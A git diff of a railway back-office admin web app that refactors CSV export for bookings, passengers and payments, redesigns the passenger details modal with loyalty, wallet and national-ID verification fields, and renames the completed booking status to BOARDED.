- )} + ); + })()} - {/* Delete Confirmation Dialog */} { setDeleteConfirmOpen(false); setBookingToDelete(null); }} - onConfirm={handleConfirmDelete} + onConfirm={async () => { if (bookingToDelete) await deleteMutation.mutateAsync(bookingToDelete.id); }} title="Delete Booking" - message={`Are you sure you want to permanently delete booking ${bookingToDelete?.bookingRef}? This action cannot be undone and will release all associated seats.`} - confirmText="Delete" - cancelText="Cancel" - isLoading={deleteMutation.isPending} - isDanger={true} + message={`Permanently delete booking ${bookingToDelete?.bookingRef}? This cannot be undone and will release all associated seats.`} + confirmText="Delete" cancelText="Cancel" isLoading={deleteMutation.isPending} isDanger /> - {/* Export Modal */} setExportModalOpen(false)} title="Export Bookings" size="md">
-
- - setExportDateFrom(e.target.value)} /> -
-
- - setExportDateTo(e.target.value)} /> -
+
setExportDateFrom(e.target.value)} />
+
setExportDateTo(e.target.value)} />
-

Select Columns

- {[ - { key: 'bookingRef', label: 'Booking Reference' }, - { key: 'passenger', label: 'Passenger' }, - { key: 'status', label: 'Status' }, - { key: 'bookingType', label: 'Booking Type' }, - { key: 'passengerCount', label: 'Passenger Count' }, - { key: 'totalMinor', label: 'Amount' }, - { key: 'paymentStatus', label: 'Payment Status' }, - { key: 'createdAt', label: 'Created At' }, - ].map((col) => ( + {BOOKING_COLS.map((col) => ( ))}
-
setExportModalOpen(false)}>Cancel Export CSV diff --git a/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx b/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx index ab588b085..015eaf3a1 100644 --- a/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx @@ -2,7 +2,7 @@ import { useState } from 'react'; import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'; -import { Download, Eye, Trash2 } from 'lucide-react'; +import { Download, Eye, Trash2, ShieldCheck, ShieldOff, Star, Wallet } from 'lucide-react'; import DataTable from '@/components/ui/DataTable'; import Badge from '@/components/ui/Badge'; import Pagination from '@/components/ui/Pagination'; @@ -13,13 +13,28 @@ import { passengersApi, apiClient } from '@/lib/api'; import { formatDate, formatDateTime } from '@/lib/utils'; import { PassengerFilters } from '@/types'; +const Field = ({ label, value, mono = false, truncate = false }: { label: string; value: string; mono?: boolean; truncate?: boolean }) => ( +
+

{label}

+

{value || '—'}

+
+); + +const SectionHeader = ({ title }: { title: string }) => ( +

+ {title} +

+); + +const TIER_COLORS: Record = { + BRONZE: 'bg-orange-100 dark:bg-orange-900/30 text-orange-700 dark:text-orange-400 border-orange-200 dark:border-orange-800', + SILVER: 'bg-gray-100 dark:bg-gray-700 text-gray-700 dark:text-gray-300 border-gray-200 dark:border-gray-600', + GOLD: 'bg-yellow-100 dark:bg-yellow-900/30 text-yellow-700 dark:text-yellow-400 border-yellow-200 dark:border-yellow-800', + PLATINUM: 'bg-indigo-100 dark:bg-indigo-900/30 text-indigo-700 dark:text-indigo-400 border-indigo-200 dark:border-indigo-800', +}; + export default function PassengersPage() { - const [filters, setFilters] = useState({ - page: 1, - pageSize: 20, - search: '', - role: 'PASSENGER', - }); + const [filters, setFilters] = useState({ page: 1, pageSize: 20, search: '', role: 'PASSENGER' }); const [selectedPassenger, setSelectedPassenger] = useState(null); const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; passenger: any | null }>({ isOpen: false, passenger: null }); const [exportModalOpen, setExportModalOpen] = useState(false); @@ -33,35 +48,23 @@ export default function PassengersPage() { const deleteMutation = useMutation({ mutationFn: (id: string) => apiClient.delete(`/passengers/${id}`), - onSuccess: () => { - queryClient.invalidateQueries({ queryKey: ['passengers'] }); - }, + onSuccess: () => queryClient.invalidateQueries({ queryKey: ['passengers'] }), }); - const handleDelete = (passenger: any) => { - setDeleteConfirm({ isOpen: true, passenger }); - }; - - const confirmDelete = async () => { - if (deleteConfirm.passenger) { - await deleteMutation.mutateAsync(deleteConfirm.passenger.id); - setDeleteConfirm({ isOpen: false, passenger: null }); - } - }; - const { data, isLoading, error } = useQuery({ queryKey: ['passengers', filters], queryFn: () => passengersApi.getAll(filters), }); - if (error) { - console.error('Passengers API Error:', error); - } + const PASSENGER_COLS = [ + { key: 'fullName', label: 'Full Name' }, { key: 'email', label: 'Email' }, { key: 'phone', label: 'Phone' }, + { key: 'dateOfBirth', label: 'Date of Birth' }, { key: 'gender', label: 'Gender' }, + { key: 'nationality', label: 'Nationality' }, { key: 'verified', label: 'Verified' }, + ]; const confirmExportPassengers = () => { const cols = Object.entries(exportColumns).filter(([, v]) => v).map(([k]) => k); - if (cols.length === 0) { alert('Please select at least one column'); return; } - + if (!cols.length) { alert('Please select at least one column'); return; } const exportItems = (data?.items || []).filter((p: any) => { if (!exportDateFrom && !exportDateTo) return true; const d = p.createdAt ? new Date(p.createdAt).toISOString().split('T')[0] : null; @@ -69,26 +72,24 @@ export default function PassengersPage() { if (exportDateTo && (!d || d > exportDateTo)) return false; return true; }); - const csv = [ - cols.join(','), - ...exportItems.map((passenger: any) => { - const values = cols.map(col => { - switch (col) { - case 'fullName': return passenger.fullName; - case 'email': return passenger.email || ''; - case 'phone': return passenger.phone || ''; - case 'dateOfBirth': return passenger.dateOfBirth ? formatDate(passenger.dateOfBirth) : ''; - case 'gender': return passenger.gender || ''; - case 'nationality': return passenger.nationality || ''; - case 'verified': return passenger.nationalId ? 'Yes' : 'No'; + PASSENGER_COLS.map(c => `"${c.label}"`).join(','), + ...exportItems.map((p: any) => { + const values = PASSENGER_COLS.filter(c => cols.includes(c.key)).map(({ key }) => { + switch (key) { + case 'fullName': return p.fullName; + case 'email': return p.email || ''; + case 'phone': return p.phone || ''; + case 'dateOfBirth': return p.dateOfBirth ? formatDate(p.dateOfBirth) : ''; + case 'gender': return p.gender || ''; + case 'nationality': return p.nationality || ''; + case 'verified': return p.nationalId ? 'Yes' : 'No'; default: return ''; } }); return values.map(v => `"${v}"`).join(','); }), ].join('\n'); - const blob = new Blob([csv], { type: 'text/csv' }); const url = window.URL.createObjectURL(blob); const a = document.createElement('a'); @@ -99,65 +100,32 @@ export default function PassengersPage() { }; const columns = [ - { - key: 'fullName', - label: 'Name', - sortable: true, - render: (passenger: any) => ( + { + key: 'fullName', label: 'Name', sortable: true, + render: (p: any) => (
-
{passenger.fullName}
-
{passenger.email}
+
{p.fullName}
+
{p.email}
), }, - { - key: 'phone', - label: 'Phone', - sortable: true, - render: (passenger: any) => passenger.phone, - }, - { - key: 'gender', - label: 'Gender', - sortable: true, - render: (passenger: any) => passenger.gender || 'N/A', - }, - { - key: 'nationality', - label: 'Nationality', - sortable: true, - render: (passenger: any) => passenger.nationality || 'N/A', - }, - { - key: 'dateOfBirth', - label: 'Date of Birth', - sortable: true, - render: (passenger: any) => passenger.dateOfBirth ? formatDate(passenger.dateOfBirth) : 'N/A', - }, - { - key: 'verified', - label: 'Status', - render: (passenger: any) => ( - - {passenger.nationalId ? 'Verified' : 'Unverified'} + { key: 'phone', label: 'Phone', sortable: true, render: (p: any) => p.phone }, + { key: 'gender', label: 'Gender', sortable: true, render: (p: any) => p.gender || 'N/A' }, + { key: 'nationality', label: 'Nationality', sortable: true, render: (p: any) => p.nationality || 'N/A' }, + { key: 'dateOfBirth', label: 'Date of Birth', sortable: true, render: (p: any) => p.dateOfBirth ? formatDate(p.dateOfBirth) : 'N/A' }, + { + key: 'verified', label: 'Status', + render: (p: any) => ( + + {p.nationalId ? 'Verified' : 'Unverified'} ), }, ]; const actions = [ - { - label: 'View Details', - onClick: (passenger: any) => setSelectedPassenger(passenger), - variant: 'secondary' as const, - icon: Eye, - }, - { - label: 'Delete', - onClick: handleDelete, - variant: 'danger' as const, - icon: Trash2, - }, + { label: 'View Details', onClick: (p: any) => setSelectedPassenger(p), variant: 'secondary' as const, icon: Eye }, + { label: 'Delete', onClick: (p: any) => setDeleteConfirm({ isOpen: true, passenger: p }), variant: 'danger' as const, icon: Trash2 }, ]; return ( @@ -167,9 +135,7 @@ export default function PassengersPage() {

Passengers

Manage passenger profiles and verification

-
- setExportModalOpen(true)}>Export -
+ setExportModalOpen(true)}>Export
@@ -180,254 +146,218 @@ export default function PassengersPage() { )}
- setFilters({ ...filters, search: e.target.value, page: 1 })} - /> + setFilters({ ...filters, search: e.target.value, page: 1 })} />
- setFilters({ ...filters, verified: e.target.value ? e.target.value === 'true' : undefined, page: 1 })}>
- - - + {data?.meta && ( - setFilters({ ...filters, page })} - /> + setFilters({ ...filters, page })} /> )}
- {/* Delete Confirmation */} setDeleteConfirm({ isOpen: false, passenger: null })} - onConfirm={confirmDelete} + onConfirm={async () => { + if (deleteConfirm.passenger) { + await deleteMutation.mutateAsync(deleteConfirm.passenger.id); + setDeleteConfirm({ isOpen: false, passenger: null }); + } + }} title="Delete Passenger" message={`Are you sure you want to delete ${deleteConfirm.passenger?.fullName}?`} - confirmText="Delete" - isDanger={true} + confirmText="Delete" isDanger warning="This passenger may have active bookings, loyalty points, and wallet balance. Deleting will impact these systems and records." /> {/* Passenger Details Modal */} - setSelectedPassenger(null)} - title="Passenger Details" - size="xl" - > - {selectedPassenger && ( -
- {/* Personal Information */} + setSelectedPassenger(null)} title="Passenger Details" size="xl"> + {selectedPassenger && (() => { + const p = selectedPassenger; + const isVerified = !!p.faydaVerified || !!p.nationalId; + const tier = p.passenger?.loyalty?.tier || p.loyalty?.tier; + const tierColor = TIER_COLORS[tier] || TIER_COLORS.BRONZE; + + return (
-

Personal Information

-
-
- -

{selectedPassenger.fullName}

-
-
- -

- {selectedPassenger.dateOfBirth ? formatDate(selectedPassenger.dateOfBirth) : 'N/A'} -

-
-
- -

{selectedPassenger.gender || 'N/A'}

-
-
- -

{selectedPassenger.nationality || 'N/A'}

-
-
-
- -
- - {/* Contact Information */} -
-

Contact Information

-
-
- -

{selectedPassenger.email || 'N/A'}

-
-
- -

{selectedPassenger.phone || 'N/A'}

-
-
-
- -
- - {/* Identification */} -
-

Identification

-
-
- -

{selectedPassenger.passportNumber || 'N/A'}

-
-
- -

{selectedPassenger.passportCountry || 'N/A'}

-
-
- -
- - {selectedPassenger.nationalId ? 'Verified' : 'Unverified'} - + {/* Gradient header with avatar */} +
+
+
+ {(p.fullName || p.email || '?')[0].toUpperCase()} +
+
+

{p.fullName}

+

{p.email}

+
+
+
+ + {isVerified ? '✓ Verified' : 'Unverified'} + +
+ {tier && ( + + {tier} + + )}
-
-
-
- - {/* Account Information */} -
-

Account Information

-
-
- -

{selectedPassenger.id}

-
-
- -

{selectedPassenger.userId || 'N/A'}

-
-
-
- - {/* Loyalty & Wallet (if available) */} - {(selectedPassenger.loyalty || selectedPassenger.wallet) && ( - <> -
-
- {selectedPassenger.loyalty && ( -
-

Loyalty Account

-
-
- -

{selectedPassenger.loyalty.tier || 'N/A'}

-
-
- -

{selectedPassenger.loyalty.pointsBalance || 0}

-
-
+ {/* Quick stats */} +
+ {[ + { label: 'Loyalty Points', value: (p.passenger?.loyalty?.pointsBalance ?? p.loyalty?.pointsBalance ?? 0).toLocaleString() }, + { label: 'Wallet Balance', value: p.passenger?.wallet || p.wallet ? `ETB ${((p.passenger?.wallet?.balanceMinor ?? p.wallet?.balanceMinor ?? 0) / 100).toFixed(2)}` : '—' }, + { label: 'Nationality', value: p.nationality || '—' }, + ].map(({ label, value }) => ( +
+

{label}

+

{value}

- )} - {selectedPassenger.wallet && ( -
-

Wallet

-
-
- -

- {(selectedPassenger.wallet.balanceMinor / 100).toFixed(2)} {selectedPassenger.wallet.currency} -

-
-
-
- )} -
- - )} - -
- - {/* Timestamps */} -
-

Timestamps

-
-
- -

{selectedPassenger.createdAt ? formatDateTime(selectedPassenger.createdAt) : 'N/A'}

-
-
- -

{selectedPassenger.updatedAt ? formatDateTime(selectedPassenger.updatedAt) : 'N/A'}

+ ))}
-
-
- setSelectedPassenger(null)} - > - Close - +
+ {/* Personal */} +
+ +
+ + + + + + + + +
+
+ + {/* Contact */} +
+ +
+ + + +
+
+ + {/* Identification */} +
+ +
+
+

Fayda (National ID)

+
+ {isVerified + ? + : } + + {isVerified ? 'Verified' : 'Not verified'} + +
+ {p.faydaVerifiedAt &&

{formatDateTime(p.faydaVerifiedAt)}

} +
+ + + +
+
+ + {/* Loyalty & Wallet */} + {(p.passenger?.loyalty || p.loyalty || p.passenger?.wallet || p.wallet) && ( +
+ +
+ {(p.passenger?.loyalty || p.loyalty) && (() => { + const loyalty = p.passenger?.loyalty || p.loyalty; + return ( + <> +
+

Tier

+
+ + {loyalty.tier} +
+
+ + + + ); + })()} + {(p.passenger?.wallet || p.wallet) && (() => { + const wallet = p.passenger?.wallet || p.wallet; + return ( +
+

Wallet Balance

+

+ ETB {((wallet.balanceMinor ?? 0) / 100).toFixed(2)} +

+
+ ); + })()} +
+
+ )} + + {/* Account */} +
+ +
+ + +
+
+ + {/* Timestamps */} +
+ +
+ + + +
+
+
+ +
+ setSelectedPassenger(null)}>Close +
-
- )} + ); + })()} - {/* Export Modal */} + setExportModalOpen(false)} title="Export Passengers" size="md">
-
- - setExportDateFrom(e.target.value)} /> -
-
- - setExportDateTo(e.target.value)} /> -
+
setExportDateFrom(e.target.value)} />
+
setExportDateTo(e.target.value)} />
-

Select Columns

- {[ - { key: 'fullName', label: 'Full Name' }, - { key: 'email', label: 'Email' }, - { key: 'phone', label: 'Phone' }, - { key: 'dateOfBirth', label: 'Date of Birth' }, - { key: 'gender', label: 'Gender' }, - { key: 'nationality', label: 'Nationality' }, - { key: 'verified', label: 'Verified' }, - ].map((col) => ( + {PASSENGER_COLS.map((col) => ( ))}
-
setExportModalOpen(false)}>Cancel Export CSV diff --git a/apps/edr-passenger-web/backoffice/src/app/payments/page.tsx b/apps/edr-passenger-web/backoffice/src/app/payments/page.tsx index 2c1c8bcf5..c6a5cbc5b 100644 --- a/apps/edr-passenger-web/backoffice/src/app/payments/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/payments/page.tsx @@ -28,6 +28,15 @@ export default function PaymentsPage() { }), }); + const PAYMENT_COLS = [ + { key: 'reference', label: 'Reference' }, + { key: 'booking', label: 'Booking Reference' }, + { key: 'amount', label: 'Amount' }, + { key: 'method', label: 'Payment Method' }, + { key: 'status', label: 'Status' }, + { key: 'createdAt', label: 'Created At' }, + ]; + const confirmExport = () => { const cols = Object.entries(exportColumns).filter(([, v]) => v).map(([k]) => k); if (cols.length === 0) { alert('Please select at least one column'); return; } @@ -42,16 +51,16 @@ export default function PaymentsPage() { }); const csv = [ - cols.join(','), + PAYMENT_COLS.map(c => `"${c.label}"`).join(','), ...exportItems.map((payment: any) => { - const values = cols.map(col => { - switch (col) { + const values = PAYMENT_COLS.filter(c => cols.includes(c.key)).map(({ key }) => { + switch (key) { case 'reference': return payment.reference || payment.id?.substring(0, 8) || ''; - case 'booking': return payment.booking?.bookingRef || 'N/A'; - case 'amount': return formatCurrency(payment.amountMinor, payment.currency); - case 'method': return payment.method || ''; - case 'status': return payment.status || ''; - case 'createdAt': return payment.createdAt || ''; + case 'booking': return payment.booking?.bookingRef || 'N/A'; + case 'amount': return formatCurrency(payment.amountMinor, payment.currency); + case 'method': return payment.method || ''; + case 'status': return payment.status || ''; + case 'createdAt': return payment.createdAt ? new Date(payment.createdAt).toLocaleString() : ''; default: return ''; } }); @@ -84,7 +93,7 @@ export default function PaymentsPage() {

Payments

Manage payment transactions and refunds

- setExportModalOpen(true)}>Export + setExportModalOpen(true)}>Export
diff --git a/apps/edr-passenger-web/backoffice/src/app/reports/page.tsx b/apps/edr-passenger-web/backoffice/src/app/reports/page.tsx index 353b1fd3a..ceeb078d1 100644 --- a/apps/edr-passenger-web/backoffice/src/app/reports/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/reports/page.tsx @@ -239,9 +239,9 @@ export default function ReportsPage() { b.status === 'CONFIRMED').length }, - { name: 'Completed', value: bookings.filter((b: any) => b.status === 'COMPLETED').length }, + { name: 'Completed', value: bookings.filter((b: any) => b.status === 'BOARDED').length }, { name: 'Cancelled', value: bookings.filter((b: any) => b.status === 'CANCELLED').length }, - { name: 'Other', value: bookings.filter((b: any) => !['CONFIRMED', 'COMPLETED', 'CANCELLED'].includes(b.status)).length }, + { name: 'Other', value: bookings.filter((b: any) => !['CONFIRMED', 'BOARDED', 'CANCELLED'].includes(b.status)).length }, ].filter(d => d.value > 0)} cx="50%" cy="50%" @@ -306,7 +306,7 @@ export default function ReportsPage() {

Completed Bookings

-

{bookings.filter((b: any) => b.status === 'COMPLETED').length}

+

{bookings.filter((b: any) => b.status === 'BOARDED').length}

Cancelled Bookings

diff --git a/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx b/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx index 33a03e8f5..60a7f80b8 100644 --- a/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx @@ -563,7 +563,7 @@ export default function SchedulesPage() { {trains.map((train: Train) => ( ))} @@ -580,7 +580,7 @@ export default function SchedulesPage() { {routes.map((route: Route) => ( ))} diff --git a/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx b/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx index cb26bd431..82db4e9af 100644 --- a/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx @@ -443,13 +443,12 @@ export default function SeatsPage() { className="input" > - {schedules.map((schedule: any) => { - const trainNumber = schedule.train?.trainNumber || schedule.train?.name || 'N/A'; + {schedules.map((schedule: any) => { const routeName = schedule.route?.name || 'N/A'; const date = schedule.departureAt ? new Date(schedule.departureAt).toLocaleDateString() : 'N/A'; return ( ); })} diff --git a/apps/edr-passenger-web/backoffice/src/app/stations/page.tsx b/apps/edr-passenger-web/backoffice/src/app/stations/page.tsx index 97a1cf7ba..50d7ab822 100644 --- a/apps/edr-passenger-web/backoffice/src/app/stations/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/stations/page.tsx @@ -72,8 +72,8 @@ export default function StationsPage() { name: formData.get('name') as string, city: formData.get('city') as string, countryCode: formData.get('countryCode') as string, - lat: parseFloat(formData.get('lat') as string) || null, - lng: parseFloat(formData.get('lng') as string) || null, + lat: parseFloat(formData.get('lat') as string) || undefined, + lng: parseFloat(formData.get('lng') as string) || undefined, timezone: formData.get('timezone') as string, sequence, isOperational: formData.get('isOperational') === 'true', @@ -304,28 +304,6 @@ export default function StationsPage() {
-
- - -
-
- - -